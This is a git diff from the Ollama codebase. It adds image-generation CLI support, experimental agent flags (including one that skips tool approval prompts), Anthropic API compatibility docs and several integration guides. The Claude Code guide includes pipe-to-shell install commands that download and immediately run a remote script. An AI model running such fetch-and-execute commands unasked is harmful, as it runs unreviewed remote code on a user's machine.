+		mfConfig := &xcreateclient.ModelfileConfig{}
+
+		for _, cmd := range modelfile.Commands {
+			switch cmd.Name {
+			case "model":
+				modelDir = cmd.Args
+			case "template":
+				mfConfig.Template = cmd.Args
+			case "system":
+				mfConfig.System = cmd.Args
+			case "license":
+				mfConfig.License = cmd.Args
+			}
+		}
+
+		if modelDir == "" {
+			modelDir = "."
+		}
+
+		// Resolve relative paths based on Modelfile location
+		if !filepath.IsAbs(modelDir) && filename != "" {
+			modelDir = filepath.Join(filepath.Dir(filename), modelDir)
+		}
+
+		quantize, _ := cmd.Flags().GetString("quantize")
+		return xcreateclient.CreateModel(xcreateclient.CreateOptions{
+			ModelName: modelName,
+			ModelDir:  modelDir,
+			Quantize:  quantize,
+			Modelfile: mfConfig,
+		}, p)
+	}
+
 	var reader io.Reader
 
 	filename, err := getModelfileName(cmd)
 	if os.IsNotExist(err) {
 		if filename == "" {
+			// No Modelfile found - check if current directory is an image gen model
+			if create.IsTensorModelDir(".") {
+				quantize, _ := cmd.Flags().GetString("quantize")
+				return xcreateclient.CreateModel(xcreateclient.CreateOptions{
+					ModelName: modelName,
+					ModelDir:  ".",
+					Quantize:  quantize,
+				}, p)
+			}
 			reader = strings.NewReader("FROM .\n")
 		} else {
 			return errModelfileNotFound
@@ -127,7 +207,7 @@ func CreateHandler(cmd *cobra.Command, args []string) error {
 	}
 	spinner.Stop()
 
-	req.Model = args[0]
+	req.Model = modelName
 	quantize, _ := cmd.Flags().GetString("quantize")
 	if quantize != "" {
 		req.Quantize = quantize
@@ -457,6 +537,7 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 	}
 
 	name := args[0]
+
 	info, err := func() (*api.ShowResponse, error) {
 		showReq := &api.ShowRequest{Name: name}
 		info, err := client.Show(cmd.Context(), showReq)
@@ -518,9 +599,18 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 		return generateEmbedding(cmd, name, opts.Prompt, opts.KeepAlive, truncate, dimensions)
 	}
 
+	// Check if this is an image generation model
+	if slices.Contains(info.Capabilities, model.CapabilityImageGeneration) {
+		if opts.Prompt == "" && !interactive {
+			return errors.New("image generation models require a prompt. Usage: ollama run " + name + " \"your prompt here\"")
+		}
+		return imagegen.RunCLI(cmd, name, opts.Prompt, interactive, opts.KeepAlive)
+	}
+
 	// Check for experimental flag
 	isExperimental, _ := cmd.Flags().GetBool("experimental")
-	yoloMode, _ := cmd.Flags().GetBool("yolo")
+	yoloMode, _ := cmd.Flags().GetBool("experimental-yolo")
+	enableWebsearch, _ := cmd.Flags().GetBool("experimental-websearch")
 
 	if interactive {
 		if err := loadOrUnloadModel(cmd, &opts); err != nil {
@@ -550,7 +640,7 @@ func RunHandler(cmd *cobra.Command, args []string) error {
 
 		// Use experimental agent loop with tools
 		if isExperimental {
-			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode)
+			return xcmd.GenerateInteractive(cmd, opts.Model, opts.WordWrap, opts.Options, opts.Think, opts.HideThinking, opts.KeepAlive, yoloMode, enableWebsearch)
 		}
 
 		return generateInteractive(cmd, opts)
@@ -656,7 +746,11 @@ func PushHandler(cmd *cobra.Command, args []string) error {
 
 			bar, ok := bars[resp.Digest]
 			if !ok {
-				bar = progress.NewBar(fmt.Sprintf("pushing %s...", resp.Digest[7:19]), resp.Total, resp.Completed)
+				msg := resp.Status
+				if msg == "" {
+					msg = fmt.Sprintf("pushing %s...", resp.Digest[7:19])
+				}
+				bar = progress.NewBar(msg, resp.Total, resp.Completed)
 				bars[resp.Digest] = bar
 				p.Add(resp.Digest, bar)
 			}
@@ -1721,15 +1815,22 @@ func NewCLI() *cobra.Command {
 	rootCmd.Flags().BoolP("version", "v", false, "Show version information")
 
 	createCmd := &cobra.Command{
-		Use:     "create MODEL",
-		Short:   "Create a model",
-		Args:    cobra.ExactArgs(1),
-		PreRunE: checkServerHeartbeat,
-		RunE:    CreateHandler,
+		Use:   "create MODEL",
+		Short: "Create a model",
+		Args:  cobra.ExactArgs(1),
+		PreRunE: func(cmd *cobra.Command, args []string) error {
+			// Skip server check for experimental mode (writes directly to disk)
+			if experimental, _ := cmd.Flags().GetBool("experimental"); experimental {
+				return nil
+			}
+			return checkServerHeartbeat(cmd, args)
+		},
+		RunE: CreateHandler,
 	}
 
 	createCmd.Flags().StringP("file", "f", "", "Name of the Modelfile (default \"Modelfile\")")
 	createCmd.Flags().StringP("quantize", "q", "", "Quantize model to this level (e.g. q4_K_M)")
+	createCmd.Flags().Bool("experimental", false, "Enable experimental safetensors model creation")
 
 	showCmd := &cobra.Command{
 		Use:     "show MODEL",
@@ -1765,7 +1866,11 @@ func NewCLI() *cobra.Command {
 	runCmd.Flags().Bool("truncate", false, "For embedding models: truncate inputs exceeding context length (default: true). Set --truncate=false to error instead")
 	runCmd.Flags().Int("dimensions", 0, "Truncate output embeddings to specified dimension (embedding models only)")
 	runCmd.Flags().Bool("experimental", false, "Enable experimental agent loop with tools")
-	runCmd.Flags().BoolP("yolo", "y", false, "Skip all tool approval prompts (use with caution)")
+	runCmd.Flags().Bool("experimental-yolo", false, "Skip all tool approval prompts (use with caution)")
+	runCmd.Flags().Bool("experimental-websearch", false, "Enable web search tool in experimental mode")
+
+	// Image generation flags (width, height, steps, seed, etc.)
+	imagegen.RegisterFlags(runCmd)
 
 	stopCmd := &cobra.Command{
 		Use:     "stop MODEL",

cmd/cmd_test.go

@@ -1547,6 +1547,79 @@ func TestRunOptions_Copy_ThinkValueVariants(t *testing.T) {
 	}
 }
 
+func TestShowInfoImageGen(t *testing.T) {
+	var b bytes.Buffer
+	err := showInfo(&api.ShowResponse{
+		Details: api.ModelDetails{
+			Family:            "ZImagePipeline",
+			ParameterSize:     "10.3B",
+			QuantizationLevel: "FP8",
+		},
+		Capabilities: []model.Capability{model.CapabilityImageGeneration},
+		Requires:     "0.14.0",
+	}, false, &b)
+	if err != nil {
+		t.Fatal(err)
+	}
+
+	expect := "  Model\n" +
+		"    architecture    ZImagePipeline    \n" +
+		"    parameters      10.3B             \n" +
+		"    quantization    FP8               \n" +
+		"    requires        0.14.0            \n" +
+		"\n" +
+		"  Capabilities\n" +
+		"    image    \n" +
+		"\n"
+	if diff := cmp.Diff(expect, b.String()); diff != "" {
+		t.Errorf("unexpected output (-want +got):\n%s", diff)
+	}
+}
+
+func TestPushProgressMessage(t *testing.T) {
+	tests := []struct {
+		name    string
+		status  string
+		digest  string
+		wantMsg string
+	}{
+		{
+			name:    "uses status when provided",
+			status:  "uploading model",
+			digest:  "sha256:abc123456789def",
+			wantMsg: "uploading model",
+		},
+		{
+			name:    "falls back to digest when status empty",
+			status:  "",
+			digest:  "sha256:abc123456789def",
+			wantMsg: "pushing abc123456789...",
+		},
+		{
+			name:    "handles short digest gracefully",
+			status:  "",
+			digest:  "sha256:abc",
+			wantMsg: "pushing sha256:abc...",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			msg := tt.status
+			if msg == "" {
+				if len(tt.digest) >= 19 {
+					msg = fmt.Sprintf("pushing %s...", tt.digest[7:19])
+				} else {
+					msg = fmt.Sprintf("pushing %s...", tt.digest)
+				}
+			}
+			if msg != tt.wantMsg {
+				t.Errorf("got %q, want %q", msg, tt.wantMsg)
+			}
+		})
+	}
+}
+
 func TestRunOptions_Copy_Independence(t *testing.T) {
 	// Test that modifications to original don't affect copy
 	originalThink := &api.ThinkValue{Value: "original"}

cmd/interactive.go

@@ -116,7 +116,7 @@ func generateInteractive(cmd *cobra.Command, opts runOptions) error {
 		Prompt:         ">>> ",
 		AltPrompt:      "... ",
 		Placeholder:    "Send a message (/? for help)",
-		AltPlaceholder: `Use """ to end multi-line input`,
+		AltPlaceholder: "Press Enter to send",
 	})
 	if err != nil {
 		return err

docs/README.md

@@ -14,6 +14,7 @@
 * [API Reference](https://docs.ollama.com/api)
 * [Modelfile Reference](https://docs.ollama.com/modelfile)
 * [OpenAI Compatibility](https://docs.ollama.com/api/openai-compatibility)
+* [Anthropic Compatibility](./api/anthropic-compatibility.mdx)
 
 ### Resources
 

docs/api.md

@@ -16,6 +16,7 @@
 - [Generate Embeddings](#generate-embeddings)
 - [List Running Models](#list-running-models)
 - [Version](#version)
+- [Experimental: Generate an image](#generate-an-image-experimental)
 
 ## Conventions
 
@@ -1867,3 +1868,85 @@ curl http://localhost:11434/api/version
   "version": "0.5.1"
 }
 ```
+
+## Experimental Endpoints
+
+### Generate an image (Experimental)
+
+```
+POST /x/generate
+```
+
+> [!WARNING]
+> This endpoint is experimental and may change in future versions.
+
+Generate an image using an image generation model. This endpoint is specifically designed for diffusion-based image generation models.
+
+#### Parameters
+
+- `model`: (required) the [model name](#model-names) of an image generation model
+- `prompt`: the text prompt describing the image to generate
+
+Image generation parameters (optional):
+
+- `width`: width of the generated image in pixels (default: model-specific, typically 1024)
+- `height`: height of the generated image in pixels (default: model-specific, typically 1024)
+- `steps`: number of diffusion steps (default: model-specific)
+
+Other parameters:
+
+- `keep_alive`: controls how long the model will stay loaded into memory following the request (default: `5m`)
+
+#### Response
+
+The response is streamed as JSON objects showing generation progress:
+
+- `status`: describes the current phase (e.g., "generating image")
+- `total`: total number of steps
+- `completed`: number of completed steps
+- `done`: whether generation is complete
+
+The final response includes:
+
+- `images`: array of base64-encoded generated images
+- `total_duration`: time spent generating the image
+- `load_duration`: time spent loading the model
+
+#### Examples
+
+##### Request
+
+```shell
+curl http://localhost:11434/x/generate -d '{
+  "model": "flux",
+  "prompt": "a sunset over mountains",
+  "width": 1024,
+  "height": 768
+}'
+```
+
+##### Response (streaming)
+
+```json
+{
+  "model": "flux",
+  "created_at": "2024-01-15T10:30:00.000000Z",
+  "status": "generating image",
+  "completed": 5,
+  "total": 20,
+  "done": false
+}
+```
+
+##### Final Response
+
+```json
+{
+  "model": "flux",
+  "created_at": "2024-01-15T10:30:15.000000Z",
+  "images": ["iVBORw0KGgoAAAANSUhEUg..."],
+  "done": true,
+  "total_duration": 15000000000,
+  "load_duration": 2000000000
+}
+```

docs/api/anthropic-compatibility.mdx

@@ -0,0 +1,408 @@
+---
+title: Anthropic compatibility
+---
+
+Ollama provides compatibility with the [Anthropic Messages API](https://docs.anthropic.com/en/api/messages) to help connect existing applications to Ollama, including tools like Claude Code.
+
+## Recommended models
+
+For coding use cases, models like `glm-4.7:cloud`, `minimax-m2.1:cloud`, and `qwen3-coder` are recommended.
+
+Pull a model before use:
+```shell
+ollama pull qwen3-coder
+ollama pull glm-4.7:cloud
+```
+
+## Usage
+
+### Environment variables
+
+To use Ollama with tools that expect the Anthropic API (like Claude Code), set these environment variables:
+
+```shell
+export ANTHROPIC_AUTH_TOKEN=ollama  # required but ignored
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama  # required but ignored
+```
+
+### Simple `/v1/messages` example
+
+<CodeGroup dropdown>
+
+```python basic.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',  # required but ignored
+)
+
+message = client.messages.create(
+    model='qwen3-coder',
+    max_tokens=1024,
+    messages=[
+        {'role': 'user', 'content': 'Hello, how are you?'}
+    ]
+)
+print(message.content[0].text)
+```
+
+```javascript basic.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama", // required but ignored
+});
+
+const message = await anthropic.messages.create({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  messages: [{ role: "user", content: "Hello, how are you?" }],
+});
+
+console.log(message.content[0].text);
+```
+
+```shell basic.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-H "x-api-key: ollama" \
+-H "anthropic-version: 2023-06-01" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "messages": [{ "role": "user", "content": "Hello, how are you?" }]
+}'
+```
+
+</CodeGroup>
+
+### Streaming example
+
+<CodeGroup dropdown>
+
+```python streaming.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',
+)
+
+with client.messages.stream(
+    model='qwen3-coder',
+    max_tokens=1024,
+    messages=[{'role': 'user', 'content': 'Count from 1 to 10'}]
+) as stream:
+    for text in stream.text_stream:
+        print(text, end='', flush=True)
+```
+
+```javascript streaming.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama",
+});
+
+const stream = await anthropic.messages.stream({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  messages: [{ role: "user", content: "Count from 1 to 10" }],
+});
+
+for await (const event of stream) {
+  if (
+    event.type === "content_block_delta" &&
+    event.delta.type === "text_delta"
+  ) {
+    process.stdout.write(event.delta.text);
+  }
+}
+```
+
+```shell streaming.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "stream": true,
+  "messages": [{ "role": "user", "content": "Count from 1 to 10" }]
+}'
+```
+
+</CodeGroup>
+
+### Tool calling example
+
+<CodeGroup dropdown>
+
+```python tools.py
+import anthropic
+
+client = anthropic.Anthropic(
+    base_url='http://localhost:11434',
+    api_key='ollama',
+)
+
+message = client.messages.create(
+    model='qwen3-coder',
+    max_tokens=1024,
+    tools=[
+        {
+            'name': 'get_weather',
+            'description': 'Get the current weather in a location',
+            'input_schema': {
+                'type': 'object',
+                'properties': {
+                    'location': {
+                        'type': 'string',
+                        'description': 'The city and state, e.g. San Francisco, CA'
+                    }
+                },
+                'required': ['location']
+            }
+        }
+    ],
+    messages=[{'role': 'user', 'content': "What's the weather in San Francisco?"}]
+)
+
+for block in message.content:
+    if block.type == 'tool_use':
+        print(f'Tool: {block.name}')
+        print(f'Input: {block.input}')
+```
+
+```javascript tools.js
+import Anthropic from "@anthropic-ai/sdk";
+
+const anthropic = new Anthropic({
+  baseURL: "http://localhost:11434",
+  apiKey: "ollama",
+});
+
+const message = await anthropic.messages.create({
+  model: "qwen3-coder",
+  max_tokens: 1024,
+  tools: [
+    {
+      name: "get_weather",
+      description: "Get the current weather in a location",
+      input_schema: {
+        type: "object",
+        properties: {
+          location: {
+            type: "string",
+            description: "The city and state, e.g. San Francisco, CA",
+          },
+        },
+        required: ["location"],
+      },
+    },
+  ],
+  messages: [{ role: "user", content: "What's the weather in San Francisco?" }],
+});
+
+for (const block of message.content) {
+  if (block.type === "tool_use") {
+    console.log("Tool:", block.name);
+    console.log("Input:", block.input);
+  }
+}
+```
+
+```shell tools.sh
+curl -X POST http://localhost:11434/v1/messages \
+-H "Content-Type: application/json" \
+-d '{
+  "model": "qwen3-coder",
+  "max_tokens": 1024,
+  "tools": [
+    {
+      "name": "get_weather",
+      "description": "Get the current weather in a location",
+      "input_schema": {
+        "type": "object",
+        "properties": {
+          "location": {
+            "type": "string",
+            "description": "The city and state"
+          }
+        },
+        "required": ["location"]
+      }
+    }
+  ],
+  "messages": [{ "role": "user", "content": "What is the weather in San Francisco?" }]
+}'
+```
+
+</CodeGroup>
+
+## Using with Claude Code
+
+[Claude Code](https://code.claude.com/docs/en/overview) can be configured to use Ollama as its backend:
+
+```shell
+ANTHROPIC_AUTH_TOKEN=ollama ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
+```
+
+Or set the environment variables in your shell profile:
+
+```shell
+export ANTHROPIC_AUTH_TOKEN=ollama
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama
+```
+
+Then run Claude Code with any Ollama model:
+
+```shell
+# Local models
+claude --model qwen3-coder
+claude --model gpt-oss:20b
+
+# Cloud models
+claude --model glm-4.7:cloud
+claude --model minimax-m2.1:cloud
+```
+
+## Endpoints
+
+### `/v1/messages`
+
+#### Supported features
+
+- [x] Messages
+- [x] Streaming
+- [x] System prompts
+- [x] Multi-turn conversations
+- [x] Vision (images)
+- [x] Tools (function calling)
+- [x] Tool results
+- [x] Thinking/extended thinking
+
+#### Supported request fields
+
+- [x] `model`
+- [x] `max_tokens`
+- [x] `messages`
+  - [x] Text `content`
+  - [x] Image `content` (base64)
+  - [x] Array of content blocks
+  - [x] `tool_use` blocks
+  - [x] `tool_result` blocks
+  - [x] `thinking` blocks
+- [x] `system` (string or array)
+- [x] `stream`
+- [x] `temperature`
+- [x] `top_p`
+- [x] `top_k`
+- [x] `stop_sequences`
+- [x] `tools`
+- [x] `thinking`
+- [ ] `tool_choice`
+- [ ] `metadata`
+
+#### Supported response fields
+
+- [x] `id`
+- [x] `type`
+- [x] `role`
+- [x] `model`
+- [x] `content` (text, tool_use, thinking blocks)
+- [x] `stop_reason` (end_turn, max_tokens, tool_use)
+- [x] `usage` (input_tokens, output_tokens)
+
+#### Streaming events
+
+- [x] `message_start`
+- [x] `content_block_start`
+- [x] `content_block_delta` (text_delta, input_json_delta, thinking_delta)
+- [x] `content_block_stop`
+- [x] `message_delta`
+- [x] `message_stop`
+- [x] `ping`
+- [x] `error`
+
+## Models
+
+Ollama supports both local and cloud models.
+
+### Local models
+
+Pull a local model before use:
+
+```shell
+ollama pull qwen3-coder
+```
+
+Recommended local models:
+- `qwen3-coder` - Excellent for coding tasks
+- `gpt-oss:20b` - Strong general-purpose model
+
+### Cloud models
+
+Cloud models are available immediately without pulling:
+
+- `glm-4.7:cloud` - High-performance cloud model
+- `minimax-m2.1:cloud` - Fast cloud model
+
+### Default model names
+
+For tooling that relies on default Anthropic model names such as `claude-3-5-sonnet`, use `ollama cp` to copy an existing model name:
+
+```shell
+ollama cp qwen3-coder claude-3-5-sonnet
+```
+
+Afterwards, this new model name can be specified in the `model` field:
+
+```shell
+curl http://localhost:11434/v1/messages \
+    -H "Content-Type: application/json" \
+    -d '{
+        "model": "claude-3-5-sonnet",
+        "max_tokens": 1024,
+        "messages": [
+            {
+                "role": "user",
+                "content": "Hello!"
+            }
+        ]
+    }'
+```
+
+## Differences from the Anthropic API
+
+### Behavior differences
+
+- API key is accepted but not validated
+- `anthropic-version` header is accepted but not used
+- Token counts are approximations based on the underlying model's tokenizer
+
+### Not supported
+
+The following Anthropic API features are not currently supported:
+
+| Feature | Description |
+|---------|-------------|
+| `/v1/messages/count_tokens` | Token counting endpoint |
+| `tool_choice` | Forcing specific tool use or disabling tools |
+| `metadata` | Request metadata (user_id) |
+| Prompt caching | `cache_control` blocks for caching prefixes |
+| Batches API | `/v1/messages/batches` for async batch processing |
+| Citations | `citations` content blocks |
+| PDF support | `document` content blocks with PDF files |
+| Server-sent errors | `error` events during streaming (errors return HTTP status) |
+
+### Partial support
+
+| Feature | Status |
+|---------|--------|
+| Image content | Base64 images supported; URL images not supported |
+| Extended thinking | Basic support; `budget_tokens` accepted but not enforced |

docs/capabilities/web-search.mdx

@@ -110,7 +110,7 @@ More Ollama [Python example](https://github.com/ollama/ollama-python/blob/main/e
 import { Ollama } from "ollama";
 
 const client = new Ollama();
-const results = await client.webSearch({ query: "what is ollama?" });
+const results = await client.webSearch("what is ollama?");
 console.log(JSON.stringify(results, null, 2));
 ```
 
@@ -213,7 +213,7 @@ models](https://ollama.com/models)\n\nAvailable for macOS, Windows, and Linux',
 import { Ollama } from "ollama";
 
 const client = new Ollama();
-const fetchResult = await client.webFetch({ url: "https://ollama.com" });
+const fetchResult = await client.webFetch("https://ollama.com");
 console.log(JSON.stringify(fetchResult, null, 2));
 ```
 

docs/docs.json

@@ -32,7 +32,9 @@
     "codeblocks": "system"
   },
   "contextual": {
-    "options": ["copy"]
+    "options": [
+      "copy"
+    ]
   },
   "navbar": {
     "links": [
@@ -52,7 +54,9 @@
       "display": "simple"
     },
     "examples": {
-      "languages": ["curl"]
+      "languages": [
+        "curl"
+      ]
     }
   },
   "redirects": [
@@ -97,6 +101,7 @@
           {
             "group": "Integrations",
             "pages": [
+              "/integrations/claude-code",
               "/integrations/vscode",
               "/integrations/jetbrains",
               "/integrations/codex",
@@ -106,7 +111,9 @@
               "/integrations/zed",
               "/integrations/roo-code",
               "/integrations/n8n",
-              "/integrations/xcode"
+              "/integrations/xcode",
+              "/integrations/onyx",
+              "/integrations/marimo"
             ]
           },
           {
@@ -139,7 +146,8 @@
               "/api/streaming",
               "/api/usage",
               "/api/errors",
-              "/api/openai-compatibility"
+              "/api/openai-compatibility",
+              "/api/anthropic-compatibility"
             ]
           },
           {

docs/faq.mdx

@@ -22,7 +22,7 @@ Please refer to the [GPU docs](./gpu).
 
 ## How can I specify the context window size?
 
-By default, Ollama uses a context window size of 2048 tokens.
+By default, Ollama uses a context window size of 4096 tokens.
 
 This can be overridden with the `OLLAMA_CONTEXT_LENGTH` environment variable. For example, to set the default context window to 8K, use:
 

docs/integrations/claude-code.mdx

@@ -0,0 +1,70 @@
+---
+title: Claude Code
+---
+
+## Install
+
+Install [Claude Code](https://code.claude.com/docs/en/overview):
+
+<CodeGroup>
+
+```shell macOS / Linux
+curl -fsSL https://claude.ai/install.sh | bash
+```
+
+```powershell Windows
+irm https://claude.ai/install.ps1 | iex
+```
+
+</CodeGroup>
+
+## Usage with Ollama
+
+Claude Code connects to Ollama using the Anthropic-compatible API.
+
+1. Set the environment variables:
+
+```shell
+export ANTHROPIC_AUTH_TOKEN=ollama
+export ANTHROPIC_BASE_URL=http://localhost:11434
+export ANTHROPIC_API_KEY=ollama
+```
+
+2. Run Claude Code with an Ollama model:
+
+```shell
+claude --model qwen3-coder
+```
+
+Or run with environment variables inline:
+
+```shell
+ANTHROPIC_AUTH_TOKEN=ollama ANTHROPIC_BASE_URL=http://localhost:11434 ANTHROPIC_API_KEY=ollama claude --model qwen3-coder
+```
+
+## Connecting to ollama.com
+
+1. Create an [API key](https://ollama.com/settings/keys) on ollama.com
+2. Set the environment variables:
+
+```shell
+export ANTHROPIC_BASE_URL=https://ollama.com
+export ANTHROPIC_API_KEY=<your-api-key>
+```
+
+3. Run Claude Code with a cloud model:
+
+```shell
+claude --model glm-4.7:cloud
+```
+
+## Recommended Models
+
+### Cloud models
+- `glm-4.7:cloud` - High-performance cloud model
+- `minimax-m2.1:cloud` - Fast cloud model
+- `qwen3-coder:480b` - Large coding model
+
+### Local models
+- `qwen3-coder` - Excellent for coding tasks
+- `gpt-oss:20b` - Strong general-purpose model

docs/integrations/marimo.mdx

@@ -0,0 +1,73 @@
+---
+title: marimo
+---
+
+## Install
+
+Install [marimo](https://marimo.io). You can use `pip` or `uv` for this. You 
+can also use `uv` to create a sandboxed environment for marimo by running:
+
+```
+uvx marimo edit --sandbox notebook.py
+```
+
+## Usage with Ollama
+
+1. In marimo, go to the user settings and go to the AI tab. From here
+you can find and configure Ollama as an AI provider. For local use you
+would typically point the base url to `http://localhost:11434/v1`.
+
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/marimo-settings.png" 
+    alt="Ollama settings in marimo"
+    width="50%"
+  />
+</div>
+
+2. Once the AI provider is set up, you can turn on/off specific AI models you'd like to access. 
+
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/marimo-models.png" 
+    alt="Selecting an Ollama model"
+    width="50%"
+  />
+</div>
+
+3. You can also add a model to the list of available models by scrolling to the bottom and using the UI there. 
+
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/marimo-add-model.png" 
+    alt="Adding a new Ollama model"
+    width="50%"
+  />
+</div>
+
+4. Once configured, you can now use Ollama for AI chats in marimo.
+
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/marimo-chat.png" 
+    alt="Configure code completion"
+    width="50%"
+  />
+</div>
+
+4. Alternatively, you can now use Ollama for **inline code completion** in marimo. This can be configured in the "AI Features" tab. 
+
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/marimo-code-completion.png" 
+    alt="Configure code completion"
+    width="50%"
+  />
+</div>
+
+
+## Connecting to ollama.com
+
+1. Sign in to ollama cloud via `ollama signin` 
+2. In the ollama model settings add a model that ollama hosts, like `gpt-oss:120b`.
+3. You can now refer to this model in marimo!

docs/integrations/onyx.mdx

@@ -0,0 +1,63 @@
+---
+title: Onyx
+---
+
+## Overview
+[Onyx](http://onyx.app/) is a self-hostable Chat UI that integrates with all Ollama models. Features include:
+- Creating custom Agents
+- Web search
+- Deep Research
+- RAG over uploaded documents and connected apps
+- Connectors to applications like Google Drive, Email, Slack, etc.
+- MCP and OpenAPI Actions support
+- Image generation
+- User/Groups management, RBAC, SSO, etc.
+
+Onyx can be deployed for single users or large organizations.
+
+## Install Onyx
+
+Deploy Onyx with the [quickstart guide](https://docs.onyx.app/deployment/getting_started/quickstart).
+
+<Info>
+Resourcing/scaling docs [here](https://docs.onyx.app/deployment/getting_started/resourcing).
+</Info>
+
+## Usage with Ollama 
+
+1. Login to your Onyx deployment (create an account first).
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/onyx-login.png" 
+    alt="Onyx Login Page"
+    width="75%"
+  />
+</div>
+2. In the set-up process select `Ollama` as the LLM provider.
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/onyx-ollama-llm.png" 
+    alt="Onyx Set Up Form"
+    width="75%"
+  />
+</div>
+3. Provide your **Ollama API URL** and select your models.
+<Note>If you're running Onyx in Docker, to access your computer's local network use `http://host.docker.internal` instead of `http://127.0.0.1`.</Note>
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/onyx-ollama-form.png" 
+    alt="Selecting Ollama Models"
+    width="75%"
+  />
+</div>
+
+You can also easily connect up Onyx Cloud with the `Ollama Cloud` tab of the setup.
+
+## Send your first query
+<div style={{ display: 'flex', justifyContent: 'center' }}>
+  <img 
+    src="/images/onyx-query.png" 
+    alt="Onyx Query Example"
+    width="75%"
+  />
+</div>

docs/troubleshooting.md

@@ -1,3 +0,0 @@
-# Troubleshooting
-
-For troubleshooting, see [https://docs.ollama.com/troubleshooting](https://docs.ollama.com/troubleshooting)

integration/tools_test.go

@@ -131,7 +131,7 @@ func TestAPIToolCalling(t *testing.T) {
 					t.Errorf("unexpected tool called: got %q want %q", lastToolCall.Function.Name, "get_weather")
 				}
 
-				if _, ok := lastToolCall.Function.Arguments["location"]; !ok {
+				if _, ok := lastToolCall.Function.Arguments.Get("location"); !ok {
 					t.Errorf("expected tool arguments to include 'location', got: %s", lastToolCall.Function.Arguments.String())
 				}
 			case <-ctx.Done():

llm/server.go

@@ -1464,6 +1464,12 @@ type CompletionRequest struct {
 
 	// TopLogprobs specifies the number of most likely alternative tokens to return (0-20)
 	TopLogprobs int
+
+	// Image generation fields
+	Width  int32 `json:"width,omitempty"`
+	Height int32 `json:"height,omitempty"`
+	Steps  int32 `json:"steps,omitempty"`
+	Seed   int64 `json:"seed,omitempty"`
 }
 
 // DoneReason represents the reason why a completion response is done
@@ -1512,6 +1518,15 @@ type CompletionResponse struct {
 
 	// Logprobs contains log probability information if requested
 	Logprobs []Logprob `json:"logprobs,omitempty"`
+
+	// Image contains base64-encoded image data for image generation
+	Image string `json:"image,omitempty"`
+
+	// Step is the current step in image generation
+	Step int `json:"step,omitempty"`
+
+	// TotalSteps is the total number of steps for image generation
+	TotalSteps int `json:"total_steps,omitempty"`
 }
 
 func (s *llmServer) Completion(ctx context.Context, req CompletionRequest, fn func(CompletionResponse)) error {

middleware/anthropic.go

@@ -0,0 +1,152 @@
+package middleware
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+
+	"github.com/gin-gonic/gin"
+
+	"github.com/ollama/ollama/anthropic"
+	"github.com/ollama/ollama/api"
+)
+
+// AnthropicWriter wraps the response writer to transform Ollama responses to Anthropic format
+type AnthropicWriter struct {
+	BaseWriter
+	stream    bool
+	id        string
+	model     string
+	converter *anthropic.StreamConverter
+}
+
+func (w *AnthropicWriter) writeError(data []byte) (int, error) {
+	var errData struct {
+		Error string `json:"error"`
+	}
+	if err := json.Unmarshal(data, &errData); err != nil {
+		return 0, err
+	}
+
+	w.ResponseWriter.Header().Set("Content-Type", "application/json")
+	err := json.NewEncoder(w.ResponseWriter).Encode(anthropic.NewError(w.ResponseWriter.Status(), errData.Error))
+	if err != nil {
+		return 0, err
+	}
+
+	return len(data), nil
+}
+
+func (w *AnthropicWriter) writeEvent(eventType string, data any) error {
+	d, err := json.Marshal(data)
+	if err != nil {
+		return err
+	}
+	_, err = w.ResponseWriter.Write([]byte(fmt.Sprintf("event: %s\ndata: %s\n\n", eventType, d)))
+	if err != nil {
+		return err
+	}
+	if f, ok := w.ResponseWriter.(http.Flusher); ok {
+		f.Flush()
+	}
+	return nil
+}
+
+func (w *AnthropicWriter) writeResponse(data []byte) (int, error) {
+	var chatResponse api.ChatResponse
+	err := json.Unmarshal(data, &chatResponse)
+	if err != nil {
+		return 0, err
+	}
+
+	if w.stream {
+		w.ResponseWriter.Header().Set("Content-Type", "text/event-stream")
+
+		events := w.converter.Process(chatResponse)
+		for _, event := range events {
+			if err := w.writeEvent(event.Event, event.Data); err != nil {
+				return 0, err
+			}
+		}
+		return len(data), nil
+	}
+
+	w.ResponseWriter.Header().Set("Content-Type", "application/json")
+	response := anthropic.ToMessagesResponse(w.id, chatResponse)
+	return len(data), json.NewEncoder(w.ResponseWriter).Encode(response)
+}
+
+func (w *AnthropicWriter) Write(data []byte) (int, error) {
+	code := w.ResponseWriter.Status()
+	if code != http.StatusOK {
+		return w.writeError(data)
+	}
+
+	return w.writeResponse(data)
+}
+
+// AnthropicMessagesMiddleware handles Anthropic Messages API requests
